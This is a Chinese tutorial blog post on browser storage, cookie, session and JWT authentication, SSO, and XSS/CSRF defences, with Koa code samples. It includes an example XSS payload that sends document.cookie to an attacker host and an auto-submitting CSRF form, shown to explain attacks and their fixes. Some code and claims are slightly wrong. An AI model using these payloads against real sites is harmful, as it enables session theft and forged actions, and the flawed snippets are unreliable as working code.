目录解读:
在本文中,你将学习到关于存储方面的知识、身份认证的不同方法、登录流程,以及各种安全漏洞的出现和解决。会给出示例代码。
存储
我们需要先简单了解以下知识!
浏览器存储:cookie、Localstorage、sessionstorage、indexDB
cookie: 存储大小一般不超过4k,是一种浏览器端存储方式,可以设置过期时间,可以被服务端读取
- 适用于存储需要发送给服务端的数据,如登录凭证、用户偏好等
document.cookie = "name=value; expires=Wed, 21 Oct 2026 07:28:00 GMT; path=/";
Localstorage: 存储大小一般不超过5MB
localStorage.setItem("name", "value");
const nameValue = localStorage.getItem("name");
localStorage.removeItem("name");
sessionstorage: 存储大小一般不超过5MB,会话关闭即被清除(关闭页面)
- 适用于存储一些临时数据,如表单数据、页面状态等
sessionStorage.setItem("name", "value");
const nameValue = sessionStorage.getItem("name");
sessionStorage.removeItem("name");
indexDB:存储大小一般不超过50MB,可以存储大量的结构化数据,并提供了强大的查询和索引功能。读写异步, 不会造成浏览器阻塞
IndexedDB – Web API 接口参考 | MDN (mozilla.org)
使用:
// 打开或创建名为myDatabase的数据库
const request = indexedDB.open('myDatabase', 1);
// 如果数据库不存在,则创建一个新的对象存储器
request.onupgradeneeded = (event) => {
const db = event.target.result;
const objectStore = db.createObjectStore('myObjectStore', { keyPath: 'id' });
};
// 添加数据到对象存储器
request.onsuccess = (event) => {
const db = event.target.result;
const transaction = db.transaction(['myObjectStore'], 'readwrite');
const objectStore = transaction.objectStore('myObjectStore');
const data = [
{ id: 1, name: 'John' },
{ id: 2, name: 'Jane' }
];
data.forEach((item) => {
objectStore.add(item);
});
};
// 处理错误
request.onerror = (event) => {
console.log('Error', event.target.errorCode);
};
服务端存储:
session: session是一种在服务器端存储数据的机制。
开始进入正文学习:
为什么需要验证身份?
http是无状态协议,这意味着它对事物处理没有记忆能力,不会主动去保存会话信息。因此,服务端需要主动去维护一个状态进行会话跟踪,验证客户端的身份
验证身份不同方法
cookie、session、token
cookie
Cookie 是一种用于在 Web 浏览器和 Web 服务器之间传递信息的小文件。
服务端可以通过给客户端设置cookie(包含状态信息)(客户端会自动保存,pc端发起同域请求会自动携带该cookie)。
服务端可以通过不同方法保存该cookie,如redis、session等,验证时直接对比比较即可验证用户身份。
例:简单实例,我可以直接使用Map来缓存内容(会带来性能问题,占用服务端资源,一般使用session和redis)
const Koa = require('koa');
const cookieParser = require('cookie-parser'); // 解析cookie,因为cookie是以字符串存储
const app = new Koa();
const map = new Map();
app.use(cookieParser());
app.use((ctx, next) => {
const cookies = ctx.cookies;
next();
});
app.get('/', (ctx) => {
if(map.get(cookies.name) !== 'ikun') return ctx.body = '没有登录';
return ctx.body = '登录成功';
})
cookie跨域配置
什么是顶级域名和子域名?
顶级域名通常是指域名的最高级别,例如 “.com”、”.org”、”.net” 等,是由国际互联网名称与数字地址分配机构(ICANN)管理的。子域名是指在顶级域名下创建的子级域名
举例:假设一个网站是 www.lhylhy.com
- 顶级域名
.com
- 一级域名
lhylhylhy.com
- 二级域名
www.lhylhylhy.com
有了高级域名证书,可以用ngnix代理一下子域名即可访问到页面。
浏览器设置cookie
一般来说,浏览器cookie若不设置domain,则该 cookie 的 domain 将默认为当前页面的 domain,不同域名无法共享cookie(当前域名和其子域名可以访问)
不同的子域名之间共享Cookie:
// 在 www.lhylhylhy.com 上设置名为 "mycookie" 的 Cookie
document.cookie = "mycookie=hello; domain=lhylhylhy.com";
// // 在 api.lhylhylhy.com 上读取名为 "mycookie" 的 Cookie
console.log(document.cookie); // 输出 "mycookie=hello"
从上面可以看出,在同一个顶级域名下,不同的子域名之间是可以共享Cookie的。当然,如果要在不同的顶级域名之间共享Cookie,则需要将
domain
属性设置为它们的共同顶级域名。
服务端设置cookie
koa和原生
// 同理
(async (ctx, next) => {
ctx.cookies.set('mycookie', 'hello', {
domain: 'hyhyhy.com'
});
})
// 原生实现设置Cookie
((req, res) => { // req代表请求,res代表返回信息
res.setHeader('Set-Cookie', 'name=value; Path=/; HttpOnly');
})
请求携带cookie
fetch默认情况下,发起http请求都不会携带cookie
fetch('lhylhylhy.com', {
credentials: "include", // include(跨域携带cookie), sme-orgin(同域携带cookie), mit(任何情况都不带cookie)
...
})
axios默认情况下,发起同域http请求会携带cookie(pc端)
axios.get('lhylhylhy.com', {
widthCredentials: true, // true(跨域携带), false(默认,仅同域携带cookie)
...
})
一般来说,为了安全,cookie应该设置当前域名访问,且避免跨域携带。
cookie安全漏洞
cookie为什么容易收到xss攻击
cookie一般作为会话状态管理,保存着一些隐私数据(用户id…),或者作为用户的登录凭证,被攻击者获取到后,利用这些信息即可冒充进行各种恶意操作,如修改用户信息、窃取用户隐私、进行钓鱼攻击等。
相信很多人跟我一样,老是看着浏览器安全的一堆定义,但是不知道到底是怎么攻击的,也记不住。且听我分析:
xss攻击:
xss,跨站脚本攻击,顾名思义,也就是攻击者通过一些手段往网页中注入恶意代码,来获取想要的信息:如cookie等
例如之前文章同源策略是怎么预防攻击的?跨域的代码实现、原理和漏洞? – 掘金 (juejin.cn)讲的jsonp机制,就容易拿来进行xss攻击
假设存在一个获取数据的jsonp的API,攻击者可以利用这个 API,构造一个恶意的 URL(攻击者可能会通过网络漏洞将这段恶意url注入到目标网站中):
https://example.com/getData?callback=<script>var%20img%20=%20new%20Image();img.src%20=%20%22http://attacker.com/steal_cookie?cookie=%22%20+%20document.cookie;</script>
当浏览器执行这个 URL,会返回如下的 JSONP 格式的代码:
<script>var img = new Image();img.src = "http://attacker.com/steal_cookie?cookie=" + document.cookie;</script>
由于这个代码被执行了,其中的 document.cookie
就会被发送到攻击者的服务器上,从而实现了 XSS 攻击。
我们可以通过服务端设置
httpOnly: true
,防止客户端通过document.cookie
访问cookie
设置了httpOnly一定安全吗?
虽然攻击者无法通过 JavaScript 访问 HttpOnly 标记的 Cookie,但是攻击者可以通过伪造表单、注入恶意代码等方式,将用户重定向到一个恶意网站,并以此来窃取 HttpOnly Cookie 的值。这种攻击方式被称为 “XSS + CSRF” 攻击。
CSRF攻击:
CSRF,跨站伪造攻击,本质上利用了cookie会在同源请求中携带发送给服务器的特点,以此实现用户冒充。
举个例子:
攻击者在另一个域名下创建一个钓鱼网站,将该网站伪装成受害者经常访问的网站,并诱使受害者点击某个链接或按钮。当受害者在钓鱼网站上点击链接或按钮时,将触发对受害者在另一个域名下的 cookie 的攻击。
<!-- 钓鱼网站的 HTML 代码 -->
<form method="POST" action="http://victim.com/api/delete">
<input type="hidden" name="id" value="123">
</form>
<script>
// 自动提交表单
document.forms[0].submit();
</script>
其实有很多网站啊(包括黄色~~ ),老是出现提交表单的信息,这时已经完成了csrf攻击了~
为了防止CSRF攻击,我们可以:
- 验证码:在需要用户提交数据时,要求用户先输入验证码,这样可以防止攻击者自动化提交数据。
- Token:以token作为登录凭证(后面会讲)
- SameSite Cookie:设置 Cookie 的 SameSite 属性为 Strict 或 Lax,限制 Cookie 只能在同站点请求时携带,从而避免跨站请求利用。
/*
- `Strict`:只有在同一站点请求的情况下才会发送 cookie。
- `Lax`:在大多数情况下只有在同一站点请求的情况下才会发送 cookie,但是导航到目标网页的 Get 请求(例如从外部链接打开的页面)将会携带 cookie。
- `None`:总是会发送 cookie,即使是跨站点请求。
*/
ctx.cookies.set('myxcookie', 'hello', { sameSite: 'Lax' });
- 使用 HTTPS:使用 HTTPS 可以防止网络上的中间人攻击,从而保证请求和响应的安全性。详看我之前文章对http、https和代理的一些dj理解 – 掘金 (juejin.cn)
- 使用 Content-Security-Policy(CSP) 进行白名单认证(可以有效防止xss攻击)
app.use(async (ctx, next) => {
ctx.set('Content-Security-Policy', "default-src 'self'");
await next();
});
// 使用 `ctx.set` 方法设置 CSP 头信息,指定只允许加载来自当前域名的资源。可以根据需要添加其他选项,例如限制加载图片和脚本的来源,禁止使用内联脚本等等。
因此,为了防止 XSS、CSRF等 攻击,不仅需要在服务器端对用户输入进行过滤和验证,同时还需要加强网站的安全性,包括使用 HTTPS 协议、限制域名、使用 Content-Security-Policy 等措施,以提高网站的安全性。
所以说,只用cookie来实现登录认证是不安全的。
session
session是另一种记录服务端和客户端会话状态的机制,session存储于服务端,存储容量大,但是会占用服务器资源。
可以基于cookie实现(大部分方法),也可以基于其他存储实现
session存储于服务端,sessionid存储于客户端中
流程:
- 客户创建账号,发起请求,服务端根据用户提交的信息,创建对应的session
- 服务器请求返回此session的唯一标识信息sessionid(一般存在浏览器的cookie上)
- 再次请求该服务器的时候,服务端获取到客户端发送的sessionid并查找对应的session信息,如果没有则用户无登录且登录失效。
这里我使用cookie和session结合方式进行登录认证
const Koa = require('koa');
const router = require('koa-router')();
const app = new Koa();
// cookie和session
const koaSession = require('koa-generic-session');
const session = koaSession({
key: 'sessionid',
maxAge: 1000, /** (number) maxAge in ms (default is 1 days),cookie的过期时间 */
overwrite: true, /** (boolean) can overwrite or not (default true) */
httpOnly: true, /** cookie是否只有服务器端可以访问 (boolean) httpOnly or not (default true) */
signed: true /** 加密? */
}, app)
// 加盐操作:在密码学中,是指通过在密码任意固定位置插入特定的字符串,让散列后的结果和使用原始密码的散列结果不相符,这种过程称之为“加盐”。
app.keys = ['hyhyhy', 'HYHYHY'] // 数组形式
router.get('/text/login', function (ctx, next) {
// 在服务器为登录的客户端,设置一个加密的cookie (服务器自动为浏览器保存一个cookie,每次请求都会带上cookie)
ctx.session.name = 'ikun'
ctx.body = '登录成功~'
})
router.get('/text/list', function (ctx, next) {
const value = ctx.session.name
if(value === 'ikun') ctx.body = 'userList~'
ctx.body = '没有权限,先登录'
})
app.use(session) // 存入中间件
app.use(router.routes());
app.use(router.allowedMethods());
app.listen(7788,()=>{console.log('starting at port 7788');});
补充:
- 上图可以发现:直接在浏览器通过url访问(客户端没有执行其他操作),服务端自动设置了cookie(pc端),在下一次请求会自动携带该cookie
- 使用了加盐模式,会出现两个对应的
sessionid
和sessionid.sig
,黑客需要同时破解才可以伪造信息
cookie和session缺点
cookie会被附加在每一个 HTTP 请求中,无形增加了流量(某些请求不需要)
cookie是明文传递的,存在安全性问题,容易被窃取
cookie的大小限制是 4kb,对于复杂需求是不够的
对于pc端浏览器可以自动保存,但是对于移动端需要自己手动设置cookie和session
对于分布式系统和服务器集群中,不同系统正确解析session的困难性
- 因为session一般是存储于单个节点上,也就是存储于单个服务器的内存中,
- 对于使用了负载均衡的分布式服务器集群来说,会访问多个节点,session不能很好的共享使用
还有,难免有些奇奇怪怪的面试官问:cookie和session的区别,据我了解还挺多的
首先:cookie是一个http头部,而session只是一个虚拟概念,两者不应该拿来做比较。
单纯拿session来说,是一个会话状态的维护,可以基于cookie实现也可以不,而且cookie的用法也远远大于session
再者,cookie存储于客户端,session存储于服务端,虽然说基于session生成的sessionid一般存储于cookie上,但是也可以不。
session可以存储很高的容量(占用服务器资源),cookie只能存储4kb以下
token
相对于使用 session 和 cookie,使用 token 可以减轻服务器存储和管理 session 的压力,因为 token 是无状态的,不需要在服务器端保存任何数据,只需要在客户端存储即可。这样可以提高服务器的性能和可伸缩性。此外,使用 token 还可以方便地支持跨域访问和微服务架构。
另外token可以防止csrf攻击(前面说了,csrf本质上利用了cookie会在同源请求中携带发送给服务器的特点),因为token不需要借助cookie进行存储,一般存在于localstorge和sessionstorge上。但是如果token被窃取,别人就可以通过该令牌干坏事,所以对于一些隐私的操作需要客户端进行二次认证。
使用 token (令牌)验证身份
- 验证用户账号密码正确情况,给用户颁发一个令牌(可以作为后续用户访问接口的有效凭证)
- 登录生成颁发token,访问某些接口验证token
目前市面上常用的token实现就有 (JWT),我们这里详细介绍一下 JWT。
JWT 实现 token 机制
举例:
一个示例JWT的完整格式如下:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
每一部分由 .
分割
其中:Header部分(base64编码):
如图:我们用 window 自带 atob
api解base64,得到该Header:
Payload部分(base64编码):
Signature部分:
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
即由三部分组成
-
header
- alg:采用的加密算法,默认是 HMAC SHA256(HS256),采用一个密钥进行加密和解密(对称加密)
- typ:JWT(JSON Web Token),固定值,写 JWT 即可
- 会通过base64算法进行编码
-
payload
- 携带的数据,比如我们可以将用户的id和name放到payload中
- 默认也会携带 iat(issued at),令牌签发时间
- 设置过期时间 exp(expiration time)
- 会通过base64 算法进行编码
-
signature
- 设置一个 secretKey,通过将前两个结果合并后进行 HMAC SHA256的算法
即base54Url ( header ) + . + base64Url ( payload ), signature
对于对称加密(secretkey不可暴露,暴露就可以模拟颁发token,也可以解密token)
如果用对称加密有安全性问题:对于分布式系统或者服务器集群,如果黑客攻击某一个子系统获得了 secretkey 值,而且不同系统用的是同一套加密算法(对称加密),则可以通过伪造系统给用户颁发 token。
选择用非对称加密:
-
用非对称加密(RS256):
- 私钥:private_key发布令牌
- 公钥:public_key验证令牌
- 公钥和私钥一般都是直接通过命令生成的
-
父系统用 私钥 颁发token(父系统有充足安全措施,不怕被黑客攻击),子系统用 公钥 验证(黑客攻击获得公钥,无法伪造颁发token)
- 在 linux 或者 Max 系统可以直接打开终端
- 在 windows 系统需要用 git bash 打开openssl
-
使用(windows 系统):
- 新建 keys 文件夹,用git bash 打开输入:
openssl # 会进入 OpenSSL> genrsa -out private.key 2048 # 生成秘钥(.key结尾) 大小2048 # secretOrPrivateKey has a minimum key size of 2048 bits for RS256 rsa -in private.key -pubout -out public.key # 生成公钥
简单实现:
注: 在JWT中使用私钥签名和公钥认证的方式是为了保证JWT的安全性和真实性,而HTTPS中使用公钥加密的方式是为了保证数据的机密性。两者的目的和应用场景不同。
// token非对称加密
const fs = require('fs') // './' 返回你执行node命令的路径
const path = require('path')
// __dirname总是指向被执行js文件的绝对路径,在/d1/d2/1.js文件中写了__dirname,它的值就是/d1/d2
const privateKey = fs.readFileSync(path.resolve(__dirname,'keys/private.key')); // 同步读取
const publicKey = fs.readFileSync(path.resolve(__dirname,'keys/public.key')); // 读取到的是一个buffer二进制流
router.get('/text3/login', function (ctx, next) {
const payload = {id: 111, name: 'lhy'}
const token = jwt.sign(payload, privateKey, { // token接受buffer二进制流
expiresIn: 60,
algorithm: 'RS256' // 默认是HA256对称加密,需要改为非对称加密
})
ctx.body = {
code: 0, token, message: '登陆成功'
}
})
router.get('/text3/list', function (ctx, next) {
const authorization = ctx.headers.authorization
const token = authorization.replace('Bearer', '')
try { // 如果验证token不合法,则会抛出错误
const result = jwt.verify(token, publicKey, {
algorithm: ['RS256'] // 传入数组,解密失败用下一种算法解密
}) // 用公钥验证
ctx.body = {code: 200, data: [1,2,3]}
} catch(e) {
ctx.body = {code: 401, message: '无效token'}
}
})
token总结
token具有可跨域携带,无状态,安全性,简单易用的优点,但是它同时存在以下缺点
- 无法撤销:一旦JWT被签发,就无法撤销,除非等到它过期。如果JWT被盗用或泄露,攻击者可以使用它来访问受保护的资源,这是一种安全风险。
- 安全性依赖于密钥的安全性:JWT的安全性依赖于密钥的安全性,如果密钥被泄露,攻击者可以使用它来伪造JWT,从而访问受保护的资源。
- 无法处理会话超时:JWT本身不支持会话超时,因此需要在客户端或服务器端进行相应的处理。
sso
前面讲的很多,学懂了的话,这里很简单!!
基于cookie实现sso
这里的实现是基于cookie可以跨域携带,也就是设置cookie的domain为共同顶级域
- 用户访问系统A,系统A判断用户是否已经登录,如果没有,则跳转到登录页面。
- 用户输入用户名和密码进行登录,系统A验证用户身份,如果验证通过,则生成一个包含用户身份信息的cookie,并设置cookie的域名为SSO域名,然后将该cookie返回给用户。
- 用户访问系统B,系统B判断用户是否已经登录。如果没有,则跳转到SSO认证页面。
- 用户在SSO认证页面上输入用户名和密码进行登录,SSO认证系统验证用户身份,如果验证通过,则生成一个包含用户身份信息的cookie,并设置cookie的域名为SSO域名,然后将该cookie返回给用户。
- 用户再次访问系统B,系统B检查SSO域名下是否存在包含用户身份信息的cookie。如果存在,则使用该cookie中的用户身份信息进行认证。
需要注意的是,SSO系统需要保证cookie的安全性,以免被黑客窃取。同时,系统间的跳转需要进行安全验证,以避免跨站点脚本(XSS)和跨站点请求伪造(CSRF)攻击。
也可以基于token实现,不过要用到其他技术,如OAuth2,openid connect等,这里不多介绍
OAuth2协议
OAuth2 是一种用于授权的开放标准,用于允许应用程序访问用户在第三方服务上的资源,而无需共享用户的凭据。也是市面上主流的认证方式,例如:Google、Facebook、Github等。
没试过,不过有点了解,害怕说错了,就不多描述了
总结
问:对cookie、session、token的理解?
都可以作为跟踪会话状态的手段
- cookie是存储于客户端的小型文本文件,存储大小4kb以下,值以字符串形式存储
- Session是基于服务器端存储的数据结构实现的,存储大小不受限制,不过会占用服务器资源,是一种虚拟概念。
Session存储可以是一个关系型数据库,也可以是一个内存数据库或缓存系统
- token是一种用于身份验证的字符串,具有无状态的特点,不需要在服务器端保存任何数据。
token是以base64编码生成的,默认不加密,尽量不能将隐私信息存于token中,或对token进行加密
access token 和 refresh token?
Access Token是用于访问受保护资源的令牌,通常具有较短的有效期,一般为几分钟到几小时不等。
Refresh Token是用于获取新的Access Token的令牌,通常具有较长的有效期,一般为几天到几个月不等。
只能通过
access token
当访问资源的令牌,减少access token
被窃取带来的损失,因为access token
有效期较短。不过refresh token
必须安全加密保存,不然可以通过其生成令牌。
问:登录流程?
基于token的jwt实现:
-
用户使用用户名和密码向服务器发送登录请求。
-
服务器验证用户身份,并生成JWT。
-
服务器将JWT发送给客户端。
-
客户端将JWT存储在本地,通常是在浏览器的localStorage或sessionStorage中。
-
客户端在每次向服务器发送请求时,都将JWT作为Authorization头部的Bearer令牌发送给服务器。
-
服务器验证JWT的真实性,并根据其中的用户信息进行相应的操作。
-
如果JWT过期或被篡改,服务器将拒绝请求,并要求客户端重新登录。
session在服务器关闭还存在吗
会话(session)是在服务器端维护的状态,因此会话数据存储在服务器上。如果服务器关闭,会话数据将会丢失。
需要将会话数据持久化到存储介质中(如数据库、文件系统等)。这样即使服务器关闭,会话数据仍然存在于持久化存储中,并且在服务器重新启动后可以重新加载到内存中。
比如将session存储于mysql数据库,代码如下,在下次服务器启动后可以直接从数据库中获取session。
const Koa = require('koa');
const session = require('koa-session');
const MySQLStore = require('koa-mysql-session');
const app = new Koa();
// 配置session中间件
app.keys = ['hyhyhy'];
app.use(session({
store: new MySQLStore({
user: 'lhylhylhy',
password: 'xxx',
database: 'xxx'
})
}, app));
不过使用数据库存储session可能会影响应用程序性能,因为每个请求都需要从数据库中读取和写入session数据。因此,在高并发场景下,应该使用其他方案来存储session,如缓存或内存存储。
问:session 用于集群的共享方案?
在集群中,多个计算机可以组成一个逻辑上的单个计算机,共享状态和资源,从而提高系统的可靠性和性能。比如,一个购物商场系统可以拆分为一个订单系统,支付系统,购物系统…,由多台服务器组成一个系统,这个时候就需要多台服务器中的session数据共享了。
需要一种中心化的存储方案来保存session数据。如数据库、分布式缓存系统、共享文件系统等,
目前主流的方法应该是通过redis共享session,将session数据存储在Redis中,每个服务器都可以访问Redis中的session数据,从而实现session共享。
也可以使用粘性会话:这是一种策略,将一个用户的所有请求路由到同一台服务器,从而保持会话状态的一致性。这可以通过将每个会话与一个特定的服务器ID相关联来实现。在该用户的后续请求中,负载均衡器可以使用该ID将其路由到与其相关的服务器。
session多台服务器的共享方案 (bbsmax.com)
就这样吧!完结撒花
只有登上山顶,才能看到那边的风光。
祝大家拿到满意的offer!!
原文链接:https://juejin.cn/post/7213268803102294076 作者:lhylhylhy